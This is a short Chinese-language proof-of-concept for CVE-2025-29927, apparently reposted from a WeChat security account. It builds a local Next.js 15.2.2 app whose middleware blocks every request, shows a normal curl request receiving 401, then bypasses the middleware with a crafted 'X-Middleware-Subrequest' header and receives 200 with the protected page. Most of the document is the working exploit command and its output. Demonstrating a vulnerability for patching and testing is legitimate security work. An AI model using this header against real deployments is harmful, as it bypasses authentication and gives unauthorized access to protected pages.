// always block any requestexport functionmiddleware() {return Response.json({ success: false, message: 'authentication failed' },{ status: 401 })}
步骤
设置环境
$ npm ci $ npmexecnext -- --version Next.js v15.2.2
运行服务器
npm run dev测试中间件是否正常工作
curl -v http://localhost:3000/* Host localhost:3000 was resolved.* IPv6: ::1* IPv4: 127.0.0.1* Trying [::1]:3000...* Connected to localhost (::1) port 3000> GET / HTTP/1.1> Host: localhost:3000> User-Agent: curl/8.7.1> Accept: */*>* Request completely sent off< HTTP/1.1 401 Unauthorized< content-type: application/json< Vary: Accept-Encoding< Date: Sun, 23 Mar 2025 08:24:13 GMT< Connection: keep-alive< Keep-Alive: timeout=5< Transfer-Encoding: chunked<* Connection #0 to host localhost left intact{"success":false,"message":"authentication failed"}%
使用 CVE-2025-29927 绕过中间件
curl -v http://localhost:3000/ -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'* Host localhost:3000 was resolved.* IPv6: ::1* IPv4: 127.0.0.1* Trying [::1]:3000...* Connected to localhost (::1) port 3000> GET / HTTP/1.1> Host: localhost:3000> User-Agent: curl/8.7.1> Accept: */*> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware>* Request completely sent off< HTTP/1.1 200 OK< Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding< link: </_next/static/media/569ce4b8f30dc480-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1742718989736>; rel=preload; as="style"< Cache-Control: no-store, must-revalidate< X-Powered-By: Next.js< Content-Type: text/html; charset=utf-8< Date: Sun, 23 Mar 2025 08:36:29 GMT< Connection: keep-alive< Keep-Alive: timeout=5< Transfer-Encoding: chunked<<htmllang="en"><head><metacharSet="utf-8"/><metaname="viewport"content="width=device-width, initial-scale=1"/><linkrel="stylesheet"href="/_next/static/css/app/layout.css?v=1742718989736"data-precedence="next_static/css/app/layout.css"/><linkrel="preload"as="script"fetchPriority="low"href="/_next/static/chunks/webpack.js?v=1742718989736"/><scriptsrc="/_next/static/chunks/main-app.js?v=1742718989736"async=""></script><scriptsrc="/_next/static/chunks/app-pages-internals.js"async=""></script><metaname="next-size-adjust"content=""/><title>Create Next App</title><metaname="description"content="Generated by create next app"/><linkrel="icon"href="/favicon.ico"type="image/x-icon"sizes="16x16"/><scriptsrc="/_next/static/chunks/polyfills.js"noModule=""></script></head><bodyclass="__variable_4d318d __variable_ea5f4b antialiased"><h1>Secret Page</h1><!--$--><!--/$--><!--$--><!--/$--><scriptsrc="/_next/static/chunks/webpack.js?v=1742718989736"async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1 ....
原文始发于微信公众号（Khan安全团队）：Next.js 针对 CVE-2025-29927 的 PoC
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